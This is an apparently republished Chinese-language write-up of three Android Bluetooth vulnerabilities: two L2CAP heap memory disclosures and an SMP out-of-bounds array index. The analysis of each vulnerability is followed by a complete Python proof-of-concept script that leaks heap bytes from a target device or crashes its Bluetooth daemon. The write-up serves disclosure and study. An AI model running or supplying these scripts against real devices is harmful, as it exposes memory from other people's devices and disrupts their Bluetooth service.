兩個內(nèi)存泄漏和一個數(shù)組索引越界
漏洞簡介
- Issue 74882215: Bluetooth L2CAP L2CAP_CMD_CONN_REQ Remote Memory Disclosure(藍牙L2CAP L2CAP_CMD_CONN_REQ遠程內(nèi)存泄漏)
- Issue 74889513: Bluetooth L2CAP L2CAP_CMD_DISC_REQ Remote Memory Disclosure(藍牙L2CAP L2CAP_CMD_DISC_REQ遠程內(nèi)存泄漏)
- Issue 74917004: Bluetooth SMP smp_sm_event() OOB Array Indexing(藍牙SMP smp_sm_event()OOB數(shù)組索引)
漏洞1:Bluetooth L2CAP L2CAP_CMD_CONN_REQ Remote Memory Disclosure
(藍牙L2CAP L2CAP_CMD_CONN_REQ遠程內(nèi)存泄漏)
簡要
通過將巧盡心思構(gòu)造的L2CAP數(shù)據(jù)包發(fā)送到目標(biāo)設(shè)備,藍牙范圍內(nèi)的遠程攻擊者可以利用Android藍牙堆棧中的漏洞來泄露屬于com.android.bluetooth守護程序堆的2個字節(jié)(一個uint16_t數(shù)據(jù))。
前置介紹
L2CAP
L2CAP(Logical Link Control and Adaptation Protocol),即邏輯鏈路控制和適配協(xié)議
【藍牙架構(gòu)中如圖所示】
L2CAP是藍牙協(xié)議棧中的一個協(xié)議。
功能包括 為更高層的協(xié)議傳輸數(shù)據(jù)、在單個鏈路上復(fù)用多個應(yīng)用程序。
L2CAP是基于信道的,并且控制命令在預(yù)定義的L2CAP_SIGNALLING_CID(0x01)信道上發(fā)送。
漏洞詳情
漏洞在于使用 STREAM_TO_UINT16從而不檢查攻擊者控制的數(shù)據(jù)包中是否剩余了足夠的數(shù)據(jù)。如果第二次使用 STREAM_TO_UINT16時,數(shù)據(jù)包中沒有剩余字節(jié),那么將越界讀取 rcid
結(jié)果:泄漏數(shù)據(jù)包后相鄰的兩個字節(jié)(rcid)
L2CAP傳入的數(shù)據(jù)由l2c_rcv_acl_data()函數(shù)[ platform / system / bt / stack / l2cap / l2c_main.cc ]處理。
如果傳入的L2CAP數(shù)據(jù)包指定L2CAP_SIGNALLING_CID作為其目標(biāo)通道,則l2c_rcv_acl_data()調(diào)用process_l2cap_cmd()函數(shù)來處理L2CAP控制命令。
以上過程如下所示:
L2CAP_CMD_CONN_REQ控制命令在process_L2CAP_CMD()函數(shù)中是這樣處理的:
case L2CAP_CMD_CONN_REQ:
STREAM_TO_UINT16(con_info.psm, p);
STREAM_TO_UINT16(rcid, p);
p_rcb = l2cu_find_rcb_by_psm(con_info.psm);
if (p_rcb == NULL) {
L2CAP_TRACE_WARNING("L2CAP - rcvd conn req for unknown PSM: %d",
con_info.psm);
l2cu_reject_connection(p_lcb, rcid, id, L2CAP_CONN_NO_PSM);
break;
} else {
[...]
代碼使用了兩次STREAM_TO_UINT16宏[ platform / system / bt / stack / include / bt_types.h ], 從L2CAP數(shù)據(jù)包(上面的變量p,就是數(shù)據(jù)包中的數(shù)據(jù))中一共讀取2個uint16_t值(讀入后分別放入了con_info.psm和rcid中)。
#define STREAM_TO_UINT16(u16, p)
{
(u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8));
(p) += 2;
}
漏洞在于使用STREAM_TO_UINT16宏而不檢查攻擊者控制的數(shù)據(jù)包中是否剩余了足夠的數(shù)據(jù)。如果第二次使用STREAM_TO_UINT16時,數(shù)據(jù)包中沒有剩余字節(jié),那么將越界讀取rcid(也可能越界讀取con_info.psm,只是后面不會泄露出來),更確切地說,從堆上與數(shù)據(jù)包相鄰的任何數(shù)據(jù)。之后,如果l2cu_find_rcb_by_psm()返回NULL,并且因此到達了if分支,則調(diào)用l2cu_reject_connection() [ stack / l2cap / l2c_utils.cc ]將向遠程對等方發(fā)送rcid,從而有效地從堆中泄漏了2個字節(jié):
void l2cu_reject_connection(tL2C_LCB* p_lcb, uint16_t remote_cid,
uint8_t rem_id, uint16_t result) {
[...]
UINT16_TO_STREAM(p, 0); /* Local CID of 0 */
UINT16_TO_STREAM(p, remote_cid);
UINT16_TO_STREAM(p, result);
UINT16_TO_STREAM(p, 0); /* Status of 0 */
l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
}
請注意,攻擊者可以通過在特制的L2CAP數(shù)據(jù)包中提供未注冊的協(xié)議/服務(wù)多路復(fù)用器(PSM)ID字段來完全影響l2cu_find_rcb_by_psm(),以致于始終返回NULL(從而始終到達if分支)。
另外,請注意,這種使用STREAM_TO_UINT16宏而不檢查攻擊者控制的數(shù)據(jù)包中是否剩余足夠數(shù)據(jù)的不安全代碼模式似乎已在process_l2cap_cmd()函數(shù)的各處使用。
總結(jié)來說,過程如下圖所示:
從堆棧上通過函數(shù)STREAM_TO_UINT16分別讀取兩字節(jié)到con_info.psm和rcid,con_info.psm再通過函數(shù)l2cu_find_rcd_by_psm函數(shù)得到p_rcb,對p_rcb進行判斷,如果p_rcb == NULL(可以通過提供未注冊的協(xié)議/服務(wù)多路復(fù)用器ID字段來實現(xiàn)),會讀取rcid等信息。
如果,數(shù)據(jù)包中的數(shù)據(jù)在數(shù)據(jù)1..就已經(jīng)結(jié)束,程序還是會將堆棧上將相鄰兩個字節(jié)的數(shù)據(jù)(也就是數(shù)據(jù)2..)讀入到rcid,最后發(fā)送給遠程對等方。那么,最后整個攻擊結(jié)果就是這里的內(nèi)存泄漏了兩個字節(jié)。
Proof-of-Concept(概念驗證)
以下Python代碼觸發(fā)了該漏洞,并打印了從目標(biāo)藍牙設(shè)備的com.android.bluetooth守護程序堆泄漏的16位值。
此Python代碼使用Blueborne框架中的l2cap_infra包。
用法:$ sudo python l2cap01.py <src-hci > <target-bdaddr>。
例如:$ sudo python l2cap01.py hci0 00:11:22:33:44:55。
import os
import sys
from l2cap_infra import *
L2CAP_SIGNALLING_CID = 0x01
L2CAP_CMD_CONN_REQ = 0x02
def main(src_hci, dst_bdaddr):
l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
# This will leak 2 bytes from the heap 這將從堆中泄漏2個字節(jié)
print "Sending L2CAP_CMD_CONN_REQ in L2CAP connection..." #發(fā)送L2CAP連接中的L2CAP命令連接請求
cmd_code = L2CAP_CMD_CONN_REQ
cmd_id = 0x41 # not important
cmd_len = 0x00 # bypasses this check at lines 296/297 of l2c_main.cc: p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {
non_existent_psm = 0x3333 # Non-existent Protocol/Service Multiplexer id, so l2cu_find_rcb_by_psm() returns NULL and l2cu_reject_connection() is called 協(xié)議/服務(wù)多路復(fù)用器id不存在,因此l2cu_find_rcb_by_psm()返回NULL,并調(diào)用l2cu_reject_connection()
# here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
#這里我們將L2CAP_signaling_CID用作CID,因此l2c_rcv_acl_data()調(diào)用進程_L2CAP_cmd():
# 170 /* Send the data through the channel state machine 通過通道狀態(tài)機發(fā)送數(shù)據(jù)*/
# 171 if (rcv_cid == L2CAP_SIGNALLING_CID) {
# 172 process_l2cap_cmd(p_lcb, p, l2cap_len);
l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBHH', cmd_code, cmd_id, cmd_len, non_existent_psm)))
l2cap_loop.on(lambda pkt: True,
lambda loop, pkt: pkt)
# And printing the returned data.打印返回的數(shù)據(jù)。
pkt = l2cap_loop.cont()[0]
print "Response: %sn" % repr(pkt)
# print "Packet layers: %s" % pkt.summary()
# The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_ConnResp
# The response contains 1 leaked word in the 'scid' field of the L2CAP_ConnResp layer 響應(yīng)在L2CAP_conresp層的“scid”字段中包含1個泄漏的單詞
print "Leaked word: 0x%04x" % pkt[2].scid
l2cap_loop.finish()
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: l2cap01.py <src-hci> <dst-bdaddr>")
else:
if os.getuid():
print "Error: This script must be run as root."
else:
main(*sys.argv[1:])
漏洞2:Bluetooth L2CAP L2CAP_CMD_DISC_REQ Remote Memory Disclosure
藍牙L2CAP L2CAP_CMD_DISC_REQ遠程內(nèi)存泄露
簡要
通過將特制的L2CAP數(shù)據(jù)包發(fā)送到目標(biāo)設(shè)備,藍牙范圍內(nèi)的遠程攻擊者可以使用Android 藍牙堆棧中的漏洞來泄露屬于com.android.bluetooth守護程序堆的4個字節(jié)。
漏洞詳情
漏洞在于,兩次使用了STREAM_TO_UINT16 宏,而沒有檢查攻擊者控制的數(shù)據(jù)包中是否至少還有4個字節(jié)。如果數(shù)據(jù)包中沒有剩余字節(jié),則越界讀取 lcid 和 rcid。
結(jié)果:泄漏數(shù)據(jù)包后相鄰的四個字節(jié)
L2CAP_CMD_DISC_REQ控制命令在process_L2CAP_CMD()函數(shù)中是這樣處理的:
case L2CAP_CMD_DISC_REQ:
STREAM_TO_UINT16(lcid, p);
STREAM_TO_UINT16(rcid, p);
p_ccb = l2cu_find_ccb_by_cid(p_lcb, lcid);
if (p_ccb != NULL) {
if (p_ccb->remote_cid == rcid) {
p_ccb->remote_id = id;
l2c_csm_execute(p_ccb, L2CEVT_L2CAP_DISCONNECT_REQ, &con_info);
}
} else
l2cu_send_peer_disc_rsp(p_lcb, id, lcid, rcid);
上面的代碼兩次使用STREAM_TO_UINT16宏[ platform / system / bt / stack / include / bt_types.h ] ,從L2CAP數(shù)據(jù)包中一共讀取2個uint16_t值(lcid和rcid):
漏洞在于,兩次使用了STREAM_TO_UINT16宏,而沒有檢查攻擊者控制的數(shù)據(jù)包中是否至少還有4個字節(jié)。如果數(shù)據(jù)包中沒有剩余字節(jié),則越界讀取lcid和rcid,更準(zhǔn)確地說,從堆上與數(shù)據(jù)包數(shù)據(jù)相鄰的任何數(shù)據(jù)讀取。之后,如果l2cu_find_ccb_by_cid()返回NULL并因此到達else分支,則調(diào)用l2cu_send_peer_disc_rsp() [ platform / system / bt / stack / l2cap / l2c_utils.cc ]向遠程對等方發(fā)送lcid和rcid,有效地從堆中泄漏了4個字節(jié):
void l2cu_send_peer_disc_rsp(tL2C_LCB* p_lcb, uint8_t remote_id,
uint16_t local_cid, uint16_t remote_cid) {
[...]
UINT16_TO_STREAM(p, local_cid);
UINT16_TO_STREAM(p, remote_cid);
l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
}
請注意,攻擊者可能會完全影響l2cu_find_ccb_by_cid()來返回NULL(并因此到達else分支),因為除非在目標(biāo)藍牙設(shè)備和攻擊者的藍牙設(shè)備之間使用虛假lcid設(shè)置了活動的信道控制塊(CCB),否則該函數(shù)將始終返回NULL。
圖示如下:
從堆棧上通過函數(shù)STREAM_TO_UINT16分別讀取兩字節(jié)到lcid和rcid,con_info.psm再通過函數(shù)l2cu_find_ccd_by_cid函數(shù)得到p_ccb,對p_ccb進行判斷,如果p_ccb == NULL(通過在目標(biāo)藍牙之間使用的虛擬lcid不設(shè)置活動的信道控制塊來實現(xiàn)),然后就會向遠程對等方發(fā)送lcid和rcid等信息。
如果,數(shù)據(jù)包中的數(shù)據(jù)在數(shù)據(jù)1..之前就已經(jīng)結(jié)束,程序還是會將堆棧上將相鄰四個字節(jié)的數(shù)據(jù)(也就是數(shù)據(jù)2..)分別讀入到lcid和rcid,最后發(fā)送給遠程對等方。那么,最后整個攻擊結(jié)果就是這里的內(nèi)存泄漏了四個字節(jié)。
Proof-of-Concept(概念驗證)
以下Python代碼觸發(fā)了該漏洞,并打印了從目標(biāo)藍牙設(shè)備的com.android.bluetooth守護程序堆泄漏的兩個16位值。
此Python代碼使用Blueborne框架中的l2cap_infra包。
用法: $ sudo python l2cap02.py <src- hci > <target-bdaddr>。
例如:$ sudo python l2cap02.py hci0 00:11:22:33:44:55。
import os
import sys
from l2cap_infra import *
L2CAP_SIGNALLING_CID = 0x01
L2CAP_CMD_DISC_REQ = 0x06
def main(src_hci, dst_bdaddr):
l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
# This will leak 4 bytes from the heap 這將從堆中泄漏4個字節(jié)
print "Sending L2CAP_CMD_DISC_REQ command in L2CAP connection..."
cmd_code = L2CAP_CMD_DISC_REQ
cmd_id = 0x41 # not important
cmd_len = 0x00 # bypasses this check at lines 296/297 of l2c_main.cc: p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {
# here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
#這里我們將L2CAP_signaling_CID用作CID,因此l2c_rcv_acl_data()調(diào)用進程_L2CAP_cmd():
# 170 /* Send the data through the channel state machine */
# 171 if (rcv_cid == L2CAP_SIGNALLING_CID) {
# 172 process_l2cap_cmd(p_lcb, p, l2cap_len);
l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBH', cmd_code, cmd_id, cmd_len)))
l2cap_loop.on(lambda pkt: True,
lambda loop, pkt: pkt)
# And printing the returned data.并打印返回的數(shù)據(jù)。
pkt = l2cap_loop.cont()[0]
print "Response: %sn" % repr(pkt)
# print "Packet layers: %s" % pkt.summary()
# The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_DisconnResp
# The response contains 2 leaked words in the 'dcid' and 'scid' fields of the L2CAP_DisconnResp layer
print "Leaked words: 0x%04x 0x%04x" % (pkt[2].dcid, pkt[2].scid)
l2cap_loop.finish()
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: l2cap02.py <src-hci> <dst-bdaddr>")
else:
if os.getuid():
print "Error: This script must be run as root."
else:
main(*sys.argv[1:])
漏洞3:Bluetooth SMP smp_sm_event() OOB Array Indexing
Bluetooth SMP smp_sm_event() OOB陣列索引
簡要
藍牙范圍內(nèi)的遠程攻擊者可以使用Android 藍牙堆棧中的漏洞,通過以意外傳輸方式將包含SMP_OPCODE_PAIRING_REQ命令的SMP數(shù)據(jù)包發(fā)送到目標(biāo)設(shè)備,從而使com.android.bluetooth守護程序訪問其邊界之外的數(shù)組。
前置介紹
安全管理協(xié)議SMP
SMP(The Security Manager Protocol )
連接建立之后,雙方通過某些方式協(xié)商共同的密鑰,然后將后續(xù)要傳輸?shù)臄?shù)據(jù)用這個密鑰通過加密算法進行加密,然后發(fā)送。接收方,接收到這些數(shù)據(jù)后,必須使用正確的密鑰來解密,才能得到正確的數(shù)據(jù)了。接著,建立密鑰,即完成雙方密鑰協(xié)商,就密鑰一事達成共同一致的過程。
過程如圖所示:
為運行在低功耗藍牙協(xié)議棧上的應(yīng)用程序提供諸如身份驗證,設(shè)備授權(quán)和數(shù)據(jù)隱私等服務(wù)的權(quán)限。
漏洞詳情
數(shù)組索引只接受0x0和0x1,而作為索引的變量還能設(shè)置為0xff,導(dǎo)致后續(xù)引用可能導(dǎo)致分段錯誤
SMP協(xié)議通過預(yù)定義的L2CAP_SMP_CID(0x06)通道,位于L2CAP之上。
傳入的SMP數(shù)據(jù)包由smp_data_received()函數(shù)[ platform / system / bt / stack / smp / smp_l2c.cc ]處理。如果 通過包含SMP_OPCODE_PAIRING_REQ(0x01)命令的L2CAP_SMP_CID固定通道 接收到輸入SMP數(shù)據(jù)包,則將到達以下代碼:
static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,
BT_HDR* p_buf) {
[...]
/* reject the pairing request if there is an on-going SMP pairing */
if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {
if ((p_cb->state == SMP_STATE_IDLE) &&
(p_cb->br_state == SMP_BR_STATE_IDLE) &&
!(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {
p_cb->role = L2CA_GetBleConnRole(bd_addr);
[...]
如上面的代碼所示,最后一行中p_cb-> role設(shè)置為L2CA_GetBleConnRole(bd_addr)返回的值。p_cb-> role應(yīng)該保存以下值之一[ platform / system / bt / stack / include / hcidefs.h ],也就是 p_cb->role的值可以是0x00、0x01、0xff
/* HCI role defenitions */
#define HCI_ROLE_MASTER 0x00
#define HCI_ROLE_SLAVE 0x01
#define HCI_ROLE_UNKNOWN 0xff
如果我們查看L2CA_GetBleConnRole()函數(shù)的代碼[ platform / system / bt / stack / l2cap / l2c_ble.cc ],我們可以看到它調(diào)用了l2cu_find_lcb_by_bd_addr()為了查找活躍的鏈接控制塊(an active Link Control Block)(LCB)結(jié)構(gòu)匹配遠程BDADDR并且使用低能耗傳輸(BT_TRANSPORT_LE);如果找不到它,則返回HCI_ROLE_UNKNOWN(0xff)。當(dāng)我們通過BR/EDR(基本速率/增強數(shù)據(jù)速率,也稱為“經(jīng)典”藍牙)傳輸發(fā)送包含SMP_OPCODE_PAIRING_REQ命令的SMP數(shù)據(jù)包時,這種情況會發(fā)生,因為它只適用于低能量(LE)傳輸:
uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {
uint8_t role = HCI_ROLE_UNKNOWN;
tL2C_LCB* p_lcb;
p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);
if (p_lcb != NULL) role = p_lcb->link_role;
return role;
}
因此,回到smp_data_received()函數(shù),將p_cb-> role設(shè)置為HCI_ROLE_UNKNOWN(0xff)之后,它調(diào)用smp_sm_event() [ platform / system / bt / stack / smp / smp_main.cc ],我們到達以下代碼:
953 void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event, tSMP_INT_DATA* p_data) {
...
957 tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];
...
970 /* look up the state table for the current state */
971 /* lookup entry /w event & curr_state */
972 /* If entry is ignore, return.
973 * Otherwise, get state table (according to curr_state or all_state) */
974 if ((event <= SMP_MAX_EVT) &&
975 ((entry = entry_table[event - 1][curr_state]) != SMP_SM_IGNORE)) {
在957行,代碼使用p_cb-> role作為索引從smp_entry_table靜態(tài)數(shù)組中讀取,而無需檢查p_cb-> role是否具有兩個有效值之一(HCI_ROLE_MASTER(0x00)或HCI_ROLE_SLAVE(0x01))。這就是漏洞所在:smp_entry_table靜態(tài)數(shù)組僅包含2個元素,而p_cb-> role的值為0xFF,是在通過BR / EDR傳輸接收到包含SMP_OPCODE_PAIRING_REQ命令的SMP數(shù)據(jù)包之后,而不是通過預(yù)期的低能耗傳輸:
static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map,
smp_slave_entry_map};
因此,由于執(zhí)行entry_table = smp_entry_table [0xff]時的OOB索引,entry_table局部變量將包含一些垃圾值(無論是否在bluetooth.default.so二進制數(shù)據(jù)的smp_entry_table全局變量之后)。因此,稍后,在第975行,當(dāng)取消引用entry_table [event- 1] [curr_state]時,很可能會導(dǎo)致分段錯誤(受特定版本的bluetooth.default.so二進制文件的影響,smp_entry_table全局變量位于該二進制文件中)),這將使com.android.bluetooth守護程序停止工作。
總結(jié)來說,過程如下圖所示:
文中提及的函數(shù)調(diào)用關(guān)系:
【箭頭指向表示調(diào)用該函數(shù)】
理論上講,如果能夠找到了一個版本的bluetooth.default.so,取消引用entry_table [event-1] [curr_state],那么程序就不會崩潰,可以進一步解決此錯誤。
Proof-of-Concept(概念驗證)
以下Python代碼觸發(fā)了該漏洞,并且很有可能使目標(biāo)設(shè)備上的com.android.bluetooth守護程序崩潰。
此Python代碼使用Blueborne框架中的l2cap_infra包。
用法: $ sudo python smp01.py <src- hci > <target-bdaddr>。
例如:$ sudo python smp01.py hci0 00:11:22:33:44:55。
import os
import sys
from l2cap_infra import *
L2CAP_SMP_CID = 0x06
# This matches the CID used in l2cap_infra to establish a successful connection.
OUR_LOCAL_SCID = 0x40
SMP_OPCODE_PAIRING_REQ = 0x01
def main(src_hci, dst_bdaddr):
l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
print "Sending SMP_OPCODE_PAIRING_REQ in L2CAP connection..."
cmd_code = SMP_OPCODE_PAIRING_REQ
the_id = 0x41 # not important
cmd_len = 0x08
flags = 0x4142 # not important
# here we use L2CAP_SMP_CID as cid
l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SMP_CID) / Raw(struct.pack('<BBHHH', cmd_code, the_id, cmd_len, OUR_LOCAL_SCID, flags)))
l2cap_loop.finish()
print "The com.android.bluetooth daemon should have crashed."
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: smp01.py <src-hci> <dst-bdaddr>")
else:
if os.getuid():
print "Error: This script must be run as root."
else:
main(*sys.argv[1:])
結(jié)論
漏洞2和漏洞1思想本質(zhì)上是一致的。
- 相同點:都因為STREAM_TO_UINT16宏沒有對讀入數(shù)據(jù)進行檢驗,是否到達數(shù)據(jù)包中還有足夠的數(shù)據(jù),導(dǎo)致越界讀取,最后泄漏內(nèi)存數(shù)據(jù)。
- 不同點:在繞過前面判斷后 到達的泄漏函數(shù),漏洞1只向遠程對等方法送了第二個從數(shù)據(jù)包那塊讀入的uint16_t數(shù)據(jù);而漏洞2則向遠程對等放發(fā)送了兩個從數(shù)據(jù)包那塊讀入的uint16_t的數(shù)據(jù),所以漏洞1可以泄漏2兩個字節(jié),漏洞2可以泄漏4個字節(jié)
前兩個漏洞會影響處理L2CAP協(xié)議的代碼,并且它們允許遠程攻擊者(在藍牙范圍內(nèi))泄露屬于com.android.bluetooth進程的內(nèi)存內(nèi)容。這些內(nèi)存泄露漏洞可能對漏洞利用鏈的早期階段的攻擊者有所幫助,甚至可以用來檢索敏感數(shù)據(jù)。
第三個漏洞是SMP協(xié)議實現(xiàn)中的越界數(shù)組索引錯誤,盡管最有可能使com.android.bluetooth進程崩潰,但仍有可能利用它在易受攻擊的Android設(shè)備上遠程執(zhí)行代碼。有趣的是,與兩個L2CAP問題不同,此SMP錯誤并不是解析格式錯誤的數(shù)據(jù)包的結(jié)果。實際上,可以通過發(fā)送格式正確的SMP數(shù)據(jù)包(包含SMP_OPCODE_PAIRING_REQ)來觸發(fā)它,但是要是通過BR / EDR(“經(jīng)典”藍牙)傳輸而不是預(yù)期的BLE(低能耗)傳輸來觸發(fā)。
總的來說,雖然是兩類漏洞,但是問題起因都在于代碼上的檢驗不夠完整導(dǎo)致的,使得程序執(zhí)行到了非預(yù)期的情況。
參考:https://blog.quarkslab.com/a-story-about-three-bluetooth-vulnerabilities-in-android.html
本文由言承原創(chuàng)發(fā)布
轉(zhuǎn)載,請參考轉(zhuǎn)載聲明,注明出處: https://www.anquanke.com/post/id/215179






